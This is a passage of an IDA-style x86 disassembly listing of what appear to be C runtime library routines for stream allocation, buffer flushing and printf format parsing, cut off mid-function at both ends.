loc_4203E4: ; CODE XREF: sub_4201D0+144j
; DATA XREF: .data:004204F9o
cmp [ebp+var_10], 0
jz short loc_4203F3
mov [ebp+var_4], 0
jmp short loc_420403
; ---------------------------------------------------------------------------
loc_4203F3: ; CODE XREF: sub_4201D0+218j
mov [ebp+var_10], 1
mov ecx, [ebp+var_14]
or ecx, 20h
mov [ebp+var_14], ecx
loc_420403: ; CODE XREF: sub_4201D0+221j
jmp short loc_42046A
; ---------------------------------------------------------------------------
loc_420405: ; CODE XREF: sub_4201D0+144j
; DATA XREF: .data:004204F5o
cmp [ebp+var_10], 0
jz short loc_420414
mov [ebp+var_4], 0
jmp short loc_420424
; ---------------------------------------------------------------------------
loc_420414: ; CODE XREF: sub_4201D0+239j
mov [ebp+var_10], 1
mov edx, [ebp+var_14]
or edx, 10h
mov [ebp+var_14], edx
loc_420424: ; CODE XREF: sub_4201D0+242j
jmp short loc_42046A
; ---------------------------------------------------------------------------
loc_420426: ; CODE XREF: sub_4201D0+144j
; DATA XREF: .data:004204FDo
mov eax, [ebp+var_14]
and eax, 1000h
test eax, eax
jz short loc_42043B
mov [ebp+var_4], 0
jmp short loc_420444
; ---------------------------------------------------------------------------
loc_42043B: ; CODE XREF: sub_4201D0+260j
mov ecx, [ebp+var_14]
or ch, 10h
mov [ebp+var_14], ecx
loc_420444: ; CODE XREF: sub_4201D0+269j
jmp short loc_42046A
; ---------------------------------------------------------------------------
loc_420446: ; CODE XREF: sub_4201D0+144j
; DATA XREF: .data:004204F1o
mov edx, [ebp+var_14]
and edx, 40h
test edx, edx
jz short loc_420459
mov [ebp+var_4], 0
jmp short loc_420461
; ---------------------------------------------------------------------------
loc_420459: ; CODE XREF: sub_4201D0+27Ej
mov eax, [ebp+var_14]
or al, 40h
mov [ebp+var_14], eax
loc_420461: ; CODE XREF: sub_4201D0+287j
jmp short loc_42046A
; ---------------------------------------------------------------------------
loc_420463: ; CODE XREF: sub_4201D0+133j
; sub_4201D0+144j
; DATA XREF: ...
mov [ebp+var_4], 0
loc_42046A: ; CODE XREF: sub_4201D0:loc_420350j
; sub_4201D0:loc_420374j ...
jmp loc_4202CC
; ---------------------------------------------------------------------------
loc_42046F: ; CODE XREF: sub_4201D0+10Dj
; sub_4201D0+117j
push 1A4h
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_429E30
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jge short loc_420495
xor eax, eax
jmp short loc_4204E6
; ---------------------------------------------------------------------------
loc_420495: ; CODE XREF: sub_4201D0+2BFj
mov ecx, dword_4DDFDC
add ecx, 1
mov dword_4DDFDC, ecx
mov edx, [ebp+arg_C]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_1C]
mov [eax+0Ch], ecx
mov edx, [ebp+var_C]
mov dword ptr [edx+4], 0
mov eax, [ebp+var_C]
mov dword ptr [eax], 0
mov ecx, [ebp+var_C]
mov dword ptr [ecx+8], 0
mov edx, [ebp+var_C]
mov dword ptr [edx+1Ch], 0
mov eax, [ebp+var_C]
mov ecx, [ebp+var_8]
mov [eax+10h], ecx
mov eax, [ebp+var_C]
loc_4204E6: ; CODE XREF: sub_4201D0+F0j
; sub_4201D0+2C3j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4201D0 endp
; ---------------------------------------------------------------------------
off_4204ED dd offset loc_42031B ; DATA XREF: sub_4201D0+144r
dd offset loc_420446
dd offset loc_420405
dd offset loc_4203E4
dd offset loc_420426
dd offset loc_420355
dd offset loc_42039C
dd offset loc_4203C0
dd offset loc_420379
dd offset loc_420463
byte_420515 db 0 ; DATA XREF: sub_4201D0+13Er
dw 909h
dd 5 dup(9090909h), 9010909h, 3 dup(9090909h), 9040302h
dd 3 dup(9090909h), 9090605h, 2 dup(9090909h), 9090907h
dd 0CC080909h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420560 proc near ; CODE XREF: sub_4175E0+B9p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
push 2
call sub_41BC80
add esp, 4
mov [ebp+var_4], 0
jmp short loc_420589
; ---------------------------------------------------------------------------
loc_420580: ; CODE XREF: sub_420560+A8j
; sub_420560:loc_420689j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_420589: ; CODE XREF: sub_420560+1Ej
mov ecx, [ebp+var_4]
cmp ecx, dword_4DF680
jge loc_42068E
mov edx, [ebp+var_4]
mov eax, dword_4DE674
cmp dword ptr [eax+edx*4], 0
jz short loc_42061F
mov ecx, [ebp+var_4]
mov edx, dword_4DE674
mov eax, [edx+ecx*4]
mov ecx, [eax+0Ch]
and ecx, 83h
test ecx, ecx
jnz short loc_42061D
mov edx, [ebp+var_4]
mov eax, dword_4DE674
mov ecx, [eax+edx*4]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_41AE60
add esp, 8
mov eax, [ebp+var_4]
mov ecx, dword_4DE674
mov edx, [ecx+eax*4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_42060D
mov ecx, [ebp+var_4]
mov edx, dword_4DE674
mov eax, [edx+ecx*4]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_41AED0
add esp, 8
jmp loc_420580
; ---------------------------------------------------------------------------
loc_42060D: ; CODE XREF: sub_420560+8Dj
mov edx, [ebp+var_4]
mov eax, dword_4DE674
mov ecx, [eax+edx*4]
mov [ebp+var_8], ecx
jmp short loc_42068E
; ---------------------------------------------------------------------------
loc_42061D: ; CODE XREF: sub_420560+5Dj
jmp short loc_420689
; ---------------------------------------------------------------------------
loc_42061F: ; CODE XREF: sub_420560+44j
push 55h
push offset aStream_c ; "stream.c"
push 2
push 38h
call sub_4150C0
add esp, 10h
mov edx, [ebp+var_4]
mov ecx, dword_4DE674
mov [ecx+edx*4], eax
mov edx, [ebp+var_4]
mov eax, dword_4DE674
cmp dword ptr [eax+edx*4], 0
jz short loc_420687
mov ecx, [ebp+var_4]
mov edx, dword_4DE674
mov eax, [edx+ecx*4]
add eax, 20h
push eax
call dword_4E0470 ; InitializeCriticalSection
mov ecx, [ebp+var_4]
mov edx, dword_4DE674
mov eax, [edx+ecx*4]
add eax, 20h
push eax
call dword_4E03A8 ; RtlEnterCriticalSection
mov ecx, [ebp+var_4]
mov edx, dword_4DE674
mov eax, [edx+ecx*4]
mov [ebp+var_8], eax
loc_420687: ; CODE XREF: sub_420560+EAj
jmp short loc_42068E
; ---------------------------------------------------------------------------
loc_420689: ; CODE XREF: sub_420560:loc_42061Dj
jmp loc_420580
; ---------------------------------------------------------------------------
loc_42068E: ; CODE XREF: sub_420560+32j
; sub_420560+BBj ...
cmp [ebp+var_8], 0
jz short loc_4206CF
mov ecx, [ebp+var_8]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_8]
mov dword ptr [edx+0Ch], 0
mov eax, [ebp+var_8]
mov dword ptr [eax+8], 0
mov ecx, [ebp+var_8]
mov dword ptr [ecx], 0
mov edx, [ebp+var_8]
mov dword ptr [edx+1Ch], 0
mov eax, [ebp+var_8]
mov dword ptr [eax+10h], 0FFFFFFFFh
loc_4206CF: ; CODE XREF: sub_420560+132j
push 2
call sub_41BD20
add esp, 4
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_420560 endp
; =============== S U B R O U T I N E =======================================
sub_4206E0 proc near ; CODE XREF: .data:00417A5Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_4206F9
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_4206F9: ; CODE XREF: sub_4206E0+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_4206E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420720 proc near ; CODE XREF: sub_417CB0+E5p
; sub_417E80+E4p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
loc_420729: ; CODE XREF: sub_420720+31j
cmp [ebp+arg_4], 0
jnz short loc_42074D
push offset dword_4344AC
push 0
push 69h
push offset a_flsbuf_c ; "_flsbuf.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_42074D
int 3 ; Trap to Debugger
loc_42074D: ; CODE XREF: sub_420720+Dj
; sub_420720+2Aj
xor eax, eax
test eax, eax
jnz short loc_420729
mov ecx, [ebp+arg_4]
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
mov eax, [edx+10h]
mov [ebp+var_10], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 82h
test edx, edx
jz short loc_42077F
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 40h
test ecx, ecx
jz short loc_420795
loc_42077F: ; CODE XREF: sub_420720+50j
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
or al, 20h
mov ecx, [ebp+var_8]
mov [ecx+0Ch], eax
or eax, 0FFFFFFFFh
jmp loc_42098D
; ---------------------------------------------------------------------------
loc_420795: ; CODE XREF: sub_420720+5Dj
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
and eax, 1
test eax, eax
jz short loc_4207EC
mov ecx, [ebp+var_8]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
and eax, 10h
test eax, eax
jz short loc_4207D5
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
mov eax, [edx+8]
mov [ecx], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 0FFFFFFFEh
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
jmp short loc_4207EC
; ---------------------------------------------------------------------------
loc_4207D5: ; CODE XREF: sub_420720+97j
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
or edx, 20h
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
or eax, 0FFFFFFFFh
jmp loc_42098D
; ---------------------------------------------------------------------------
loc_4207EC: ; CODE XREF: sub_420720+80j
; sub_420720+B3j
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
or edx, 2
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 0FFFFFFEFh
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
mov ecx, [ebp+var_8]
mov dword ptr [ecx+4], 0
mov [ebp+var_4], 0
mov edx, [ebp+var_4]
mov [ebp+var_C], edx
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 10Ch
test ecx, ecx
jnz short loc_42085F
cmp [ebp+var_8], offset dword_444EF8
jz short loc_420843
cmp [ebp+var_8], offset dword_444F18
jnz short loc_420853
loc_420843: ; CODE XREF: sub_420720+118j
mov edx, [ebp+var_10]
push edx
call sub_42A390
add esp, 4
test eax, eax
jnz short loc_42085F
loc_420853: ; CODE XREF: sub_420720+121j
mov eax, [ebp+var_8]
push eax
call sub_429D20
add esp, 4
loc_42085F: ; CODE XREF: sub_420720+10Fj
; sub_420720+131j
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 108h
test edx, edx
jz loc_42094B
loc_420873: ; CODE XREF: sub_420720+187j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_8]
mov edx, [eax]
sub edx, [ecx+8]
test edx, edx
jge short loc_4208A3
push offset aInconsistentIo ; "(\"inconsistent IOB fields\", stream->_pt"...
push 0
push 0A0h
push offset a_flsbuf_c ; "_flsbuf.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_4208A3
int 3 ; Trap to Debugger
loc_4208A3: ; CODE XREF: sub_420720+160j
; sub_420720+180j
xor eax, eax
test eax, eax
jnz short loc_420873
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
mov eax, [ecx]
sub eax, [edx+8]
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+var_8]
mov [eax], edx
mov ecx, [ebp+var_8]
mov edx, [ecx+18h]
sub edx, 1
mov eax, [ebp+var_8]
mov [eax+4], edx
cmp [ebp+var_4], 0
jle short loc_4208F6
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+8]
push eax
mov ecx, [ebp+var_10]
push ecx
call sub_426840
add esp, 0Ch
mov [ebp+var_C], eax
jmp short loc_42093E
; ---------------------------------------------------------------------------
loc_4208F6: ; CODE XREF: sub_420720+1B8j
cmp [ebp+var_10], 0FFFFFFFFh
jz short loc_420919
mov edx, [ebp+var_10]
sar edx, 5
mov eax, [ebp+var_10]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4DE320[edx*4]
add ecx, eax
mov [ebp+var_14], ecx
jmp short loc_420920
; ---------------------------------------------------------------------------
loc_420919: ; CODE XREF: sub_420720+1DAj
mov [ebp+var_14], offset dword_447A30
loc_420920: ; CODE XREF: sub_420720+1F7j
mov edx, [ebp+var_14]
movsx eax, byte ptr [edx+4]
and eax, 20h
test eax, eax
jz short loc_42093E
push 2
push 0
mov ecx, [ebp+var_10]
push ecx
call sub_4263E0
add esp, 0Ch
loc_42093E: ; CODE XREF: sub_420720+1D4j
; sub_420720+20Cj
mov edx, [ebp+var_8]
mov eax, [edx+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_420969
; ---------------------------------------------------------------------------
loc_42094B: ; CODE XREF: sub_420720+14Dj
mov [ebp+var_4], 1
mov edx, [ebp+var_4]
push edx
lea eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_10]
push ecx
call sub_426840
add esp, 0Ch
mov [ebp+var_C], eax
loc_420969: ; CODE XREF: sub_420720+229j
mov edx, [ebp+var_C]
cmp edx, [ebp+var_4]
jz short loc_420985
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
or ecx, 20h
mov edx, [ebp+var_8]
mov [edx+0Ch], ecx
or eax, 0FFFFFFFFh
jmp short loc_42098D
; ---------------------------------------------------------------------------
loc_420985: ; CODE XREF: sub_420720+24Fj
mov eax, [ebp+arg_0]
and eax, 0FFh
loc_42098D: ; CODE XREF: sub_420720+70j
; sub_420720+C7j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_420720 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4209A0 proc near ; CODE XREF: sub_417CB0+9Ap
; sub_417E80+99p ...
var_2A6 = word ptr -2A6h
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = dword ptr -28Ch
var_288 = byte ptr -288h
var_284 = dword ptr -284h
var_280 = dword ptr -280h
var_27C = dword ptr -27Ch
var_278 = dword ptr -278h
var_274 = dword ptr -274h
var_270 = dword ptr -270h
var_26C = dword ptr -26Ch
var_268 = dword ptr -268h
var_264 = dword ptr -264h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = dword ptr -258h
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = word ptr -248h
var_244 = dword ptr -244h
var_240 = byte ptr -240h
var_23F = byte ptr -23Fh
var_23C = dword ptr -23Ch
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = byte ptr -228h
var_29 = byte ptr -29h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 2A8h
push ebx
push esi
push edi
mov [ebp+var_24], 0
mov [ebp+var_22C], 0
mov [ebp+var_18], 0
loc_4209C4: ; CODE XREF: sub_4209A0:loc_4215B2j
mov eax, [ebp+arg_4]
mov cl, [eax]
mov byte ptr [ebp+var_28], cl
movsx edx, byte ptr [ebp+var_28]
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
test edx, edx
jz loc_4215B7
cmp [ebp+var_22C], 0
jl loc_4215B7
movsx ecx, byte ptr [ebp+var_28]
cmp ecx, 20h
jl short loc_420A16
movsx edx, byte ptr [ebp+var_28]
cmp edx, 78h
jg short loc_420A16
movsx eax, byte ptr [ebp+var_28]
movsx ecx, byte ptr [eax+4350D8h]
and ecx, 0Fh
mov [ebp+var_290], ecx
jmp short loc_420A20
; ---------------------------------------------------------------------------
loc_420A16: ; CODE XREF: sub_4209A0+55j
; sub_4209A0+5Ej
mov [ebp+var_290], 0
loc_420A20: ; CODE XREF: sub_4209A0+74j
mov edx, [ebp+var_290]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_18]
movsx edx, byte_4350F8[ecx+eax*8]
sar edx, 4
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
mov [ebp+var_294], eax
cmp [ebp+var_294], 7
ja loc_4215B2
mov ecx, [ebp+var_294]
jmp off_4215C4[ecx*4]
loc_420A60: ; CODE XREF: sub_4209A0+332j
; DATA XREF: .data:off_4215C4o
mov [ebp+var_1C], 0
mov edx, [ebp+var_28]
and edx, 0FFh
mov eax, off_447274
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_420ADD
lea edx, [ebp+var_22C]
push edx
mov eax, [ebp+arg_0]
push eax
movsx ecx, byte ptr [ebp+var_28]
push ecx
call sub_4216D0
add esp, 0Ch
mov edx, [ebp+arg_4]
mov al, [edx]
mov byte ptr [ebp+var_28], al
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
loc_420AAE: ; CODE XREF: sub_4209A0+13Bj
movsx edx, byte ptr [ebp+var_28]
test edx, edx
jnz short loc_420AD7
push offset aCh_t0 ; "ch != _T('\\0')"
push 0
push 186h
push offset aOutput_c ; "output.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_420AD7
int 3 ; Trap to Debugger
loc_420AD7: ; CODE XREF: sub_4209A0+114j
; sub_4209A0+134j
xor eax, eax
test eax, eax
jnz short loc_420AAE
loc_420ADD: ; CODE XREF: sub_4209A0+E3j
lea ecx, [ebp+var_22C]
push ecx
mov edx, [ebp+arg_0]
push edx
movsx eax, byte ptr [ebp+var_28]
push eax
call sub_4216D0
add esp, 0Ch
jmp loc_4215B2
; ---------------------------------------------------------------------------
loc_420AFA: ; CODE XREF: sub_4209A0+B9j
; DATA XREF: .data:004215C8o
mov [ebp+var_8], 0
mov ecx, [ebp+var_8]
mov [ebp+var_23C], ecx
mov edx, [ebp+var_23C]
mov [ebp+var_244], edx
mov eax, [ebp+var_244]
mov [ebp+var_10], eax
mov [ebp+var_4], 0
mov [ebp+var_234], 0FFFFFFFFh
mov [ebp+var_1C], 0
jmp loc_4215B2
; ---------------------------------------------------------------------------
loc_420B3C: ; CODE XREF: sub_4209A0+B9j
; DATA XREF: .data:004215CCo
movsx ecx, byte ptr [ebp+var_28]
mov [ebp+var_298], ecx
mov edx, [ebp+var_298]
sub edx, 20h
mov [ebp+var_298], edx
cmp [ebp+var_298], 10h
ja short loc_420BA6
mov ecx, [ebp+var_298]
xor eax, eax
mov al, byte_4215FC[ecx]
jmp off_4215E4[eax*4]
loc_420B73: ; CODE XREF: sub_4209A0+B9j
; DATA XREF: .data:004215F0o
mov edx, [ebp+var_4]
or edx, 4
mov [ebp+var_4], edx
jmp short loc_420BA6
; ---------------------------------------------------------------------------
loc_420B7E: ; CODE XREF: sub_4209A0+B9j
; sub_4209A0+1CCj
; DATA XREF: ...
mov eax, [ebp+var_4]
or al, 1
mov [ebp+var_4], eax
jmp short loc_420BA6
; ---------------------------------------------------------------------------
loc_420B88: ; CODE XREF: sub_4209A0+B9j
; sub_4209A0+1CCj
; DATA XREF: ...
mov ecx, [ebp+var_4]
or ecx, 2
mov [ebp+var_4], ecx
jmp short loc_420BA6
; ---------------------------------------------------------------------------
loc_420B93: ; CODE XREF: sub_4209A0+B9j
; sub_4209A0+1CCj
; DATA XREF: ...
mov edx, [ebp+var_4]
or dl, 80h
mov [ebp+var_4], edx
jmp short loc_420BA6
; ---------------------------------------------------------------------------
loc_420B9E: ; CODE XREF: sub_4209A0+B9j
; sub_4209A0+1CCj
; DATA XREF: ...
mov eax, [ebp+var_4]
or al, 8
mov [ebp+var_4], eax
loc_420BA6: ; CODE XREF: sub_4209A0+B9j
; sub_4209A0+1BCj ...
jmp loc_4215B2
; ---------------------------------------------------------------------------
loc_420BAB: ; CODE XREF: sub_4209A0+B9j
; DATA XREF: .data:004215D0o
movsx ecx, byte ptr [ebp+var_28]
cmp ecx, 2Ah
jnz short loc_420BE7
lea edx, [ebp+arg_8]
push edx
call sub_4217E0
add esp, 4
mov [ebp+var_244], eax
cmp [ebp+var_244], 0
jge short loc_420BE5
mov eax, [ebp+var_4]
or al, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_244]
neg ecx
mov [ebp+var_244], ecx
loc_420BE5: ; CODE XREF: sub_4209A0+22Dj
jmp short loc_420BFE
; ---------------------------------------------------------------------------
loc_420BE7: ; CODE XREF: sub_4209A0+212j
mov edx, [ebp+var_244]
imul edx, 0Ah
movsx eax, byte ptr [ebp+var_28]
lea ecx, [edx+eax-30h]
mov [ebp+var_244], ecx
loc_420BFE: ; CODE XREF: sub_4209A0:loc_420BE5j
jmp loc_4215B2
; ---------------------------------------------------------------------------
loc_420C03: ; CODE XREF: sub_4209A0+B9j
; DATA XREF: .data:004215D4o
mov [ebp+var_234], 0
jmp loc_4215B2
; ---------------------------------------------------------------------------
loc_420C12: ; CODE XREF: sub_4209A0+B9j
; DATA XREF: .data:004215D8o
movsx edx, byte ptr [ebp+var_28]
cmp edx, 2Ah
jnz short loc_420C42
lea eax, [ebp+arg_8]
push eax
call sub_4217E0
add esp, 4
mov [ebp+var_234], eax
cmp [ebp+var_234], 0
jge short loc_420C40
mov [ebp+var_234], 0FFFFFFFFh
loc_420C40: ; CODE XREF: sub_4209A0+294j
jmp short loc_420C59
; ---------------------------------------------------------------------------
loc_420C42: ; CODE XREF: sub_4209A0+279j
mov ecx, [ebp+var_234]
imul ecx, 0Ah
movsx edx, byte ptr [ebp+var_28]
lea eax, [ecx+edx-30h]
mov [ebp+var_234], eax
loc_420C59: ; CODE XREF: sub_4209A0:loc_420C40j
jmp loc_4215B2
; ---------------------------------------------------------------------------
loc_420C5E: ; CODE XREF: sub_4209A0+B9j
; DATA XREF: .data:004215DCo
movsx ecx, byte ptr [ebp+var_28]
mov [ebp+var_29C], ecx
mov edx, [ebp+var_29C]
sub edx, 49h
mov [ebp+var_29C], edx
cmp [ebp+var_29C], 2Eh
ja short loc_420CEC
mov ecx, [ebp+var_29C]
xor eax, eax
mov al, byte_421621[ecx]
jmp off_42160D[eax*4]
loc_420C95: ; DATA XREF: .data:00421615o
mov edx, [ebp+var_4]
or edx, 10h
mov [ebp+var_4], edx
jmp short loc_420CEC
; ---------------------------------------------------------------------------
loc_420CA0: ; CODE XREF: sub_4209A0+2EEj
; DATA XREF: .data:off_42160Do
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
cmp ecx, 36h
jnz short loc_420CCB
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx+1]
cmp eax, 34h
jnz short loc_420CCB
mov ecx, [ebp+arg_4]
add ecx, 2
mov [ebp+arg_4], ecx
mov edx, [ebp+var_4]
or dh, 80h
mov [ebp+var_4], edx
jmp short loc_420CD7
; ---------------------------------------------------------------------------
loc_420CCB: ; CODE XREF: sub_4209A0+309j
; sub_4209A0+315j
mov [ebp+var_18], 0
jmp loc_420A60
; ---------------------------------------------------------------------------
loc_420CD7: ; CODE XREF: sub_4209A0+329j
jmp short loc_420CEC
; ---------------------------------------------------------------------------
loc_420CD9: ; CODE XREF: sub_4209A0+2EEj
; DATA XREF: .data:00421611o
mov eax, [ebp+var_4]
or al, 20h
mov [ebp+var_4], eax
jmp short loc_420CEC
; ---------------------------------------------------------------------------
loc_420CE3: ; CODE XREF: sub_4209A0+2EEj
; DATA XREF: .data:00421619o
mov ecx, [ebp+var_4]
or ch, 8
mov [ebp+var_4], ecx
loc_420CEC: ; CODE XREF: sub_4209A0+2DEj
; sub_4209A0+2EEj ...
jmp loc_4215B2
; ---------------------------------------------------------------------------
loc_420CF1: ; CODE XREF: sub_4209A0+B9j
; DATA XREF: .data:004215E0o
movsx edx, byte ptr [ebp+var_28]
mov [ebp+var_2A0], edx
mov eax, [ebp+var_2A0]
sub eax, 43h
mov [ebp+var_2A0], eax
cmp [ebp+var_2A0], 35h
ja loc_4213D7
mov edx, [ebp+var_2A0]
xor ecx, ecx
mov cl, byte_42168C[edx]
jmp off_421650[ecx*4]
loc_420D2C: ; DATA XREF: .data:off_421650o
mov eax, [ebp+var_4]
and eax, 830h
test eax, eax
jnz short loc_420D41
mov ecx, [ebp+var_4]
or ch, 8
mov [ebp+var_4], ecx
loc_420D41: ; CODE XREF: sub_4209A0+385j
; sub_4209A0+396j
; DATA XREF: ...
mov edx, [ebp+var_4]
and edx, 810h
test edx, edx
jz short loc_420D87
lea eax, [ebp+arg_8]
push eax
call sub_421820
add esp, 4
mov [ebp+var_14], ax
mov cx, [ebp+var_14]
push ecx
lea edx, [ebp+var_228]
push edx
call sub_42A3D0
add esp, 8
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jge short loc_420D85
mov [ebp+var_23C], 1
loc_420D85: ; CODE XREF: sub_4209A0+3D9j
jmp short loc_420DAD
; ---------------------------------------------------------------------------
loc_420D87: ; CODE XREF: sub_4209A0+3ACj
lea eax, [ebp+arg_8]
push eax
call sub_4217E0
add esp, 4
mov [ebp+var_248], ax
mov cl, byte ptr [ebp+var_248]
mov [ebp+var_228], cl
mov [ebp+var_24], 1
loc_420DAD: ; CODE XREF: sub_4209A0:loc_420D85j
lea edx, [ebp+var_228]
mov [ebp+var_20], edx
jmp loc_4213D7
; ---------------------------------------------------------------------------
loc_420DBB: ; CODE XREF: sub_4209A0+385j
; DATA XREF: .data:00421660o
lea eax, [ebp+arg_8]
push eax
call sub_4217E0
add esp, 4
mov [ebp+var_24C], eax
cmp [ebp+var_24C], 0
jz short loc_420DE2
mov ecx, [ebp+var_24C]
cmp dword ptr [ecx+4], 0
jnz short loc_420DFC
loc_420DE2: ; CODE XREF: sub_4209A0+434j
mov edx, off_447490
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
push eax
call sub_414EC0
add esp, 4
mov [ebp+var_24], eax
jmp short loc_420E4B
; ---------------------------------------------------------------------------
loc_420DFC: ; CODE XREF: sub_4209A0+440j
mov ecx, [ebp+var_4]
and ecx, 800h
test ecx, ecx
jz short loc_420E2C
mov edx, [ebp+var_24C]
mov eax, [edx+4]
mov [ebp+var_20], eax
mov ecx, [ebp+var_24C]
movsx edx, word ptr [ecx]
shr edx, 1
mov [ebp+var_24], edx
mov [ebp+var_1C], 1
jmp short loc_420E4B
; ---------------------------------------------------------------------------
loc_420E2C: ; CODE XREF: sub_4209A0+467j
mov [ebp+var_1C], 0
mov eax, [ebp+var_24C]
mov ecx, [eax+4]
mov [ebp+var_20], ecx
mov edx, [ebp+var_24C]
movsx eax, word ptr [edx]
mov [ebp+var_24], eax
loc_420E4B: ; CODE XREF: sub_4209A0+45Aj
; sub_4209A0+48Aj
jmp loc_4213D7
; ---------------------------------------------------------------------------
loc_420E50: ; CODE XREF: sub_4209A0+385j
; DATA XREF: .data:00421658o
mov ecx, [ebp+var_4]
and ecx, 830h
test ecx, ecx
jnz short loc_420E66
mov edx, [ebp+var_4]
or dh, 8
mov [ebp+var_4], edx
loc_420E66: ; CODE XREF: sub_4209A0+385j
; sub_4209A0+4BBj
; DATA XREF: ...
cmp [ebp+var_234], 0FFFFFFFFh
jnz short loc_420E7B
mov [ebp+var_2A4], 7FFFFFFFh
jmp short loc_420E87
; ---------------------------------------------------------------------------
loc_420E7B: ; CODE XREF: sub_4209A0+4CDj
mov eax, [ebp+var_234]
mov [ebp+var_2A4], eax
loc_420E87: ; CODE XREF: sub_4209A0+4D9j
mov ecx, [ebp+var_2A4]
mov [ebp+var_258], ecx
lea edx, [ebp+arg_8]
push edx
call sub_4217E0
add esp, 4
mov [ebp+var_20], eax
mov eax, [ebp+var_4]
and eax, 810h
test eax, eax
jz short loc_420F16
cmp [ebp+var_20], 0
jnz short loc_420EBD
mov ecx, off_447494
mov [ebp+var_20], ecx
loc_420EBD: ; CODE XREF: sub_4209A0+512j
mov [ebp+var_1C], 1
mov edx, [ebp+var_20]
mov [ebp+var_254], edx
loc_420ECD: ; CODE XREF: sub_4209A0+564j
mov eax, [ebp+var_258]
mov ecx, [ebp+var_258]
sub ecx, 1
mov [ebp+var_258], ecx
test eax, eax
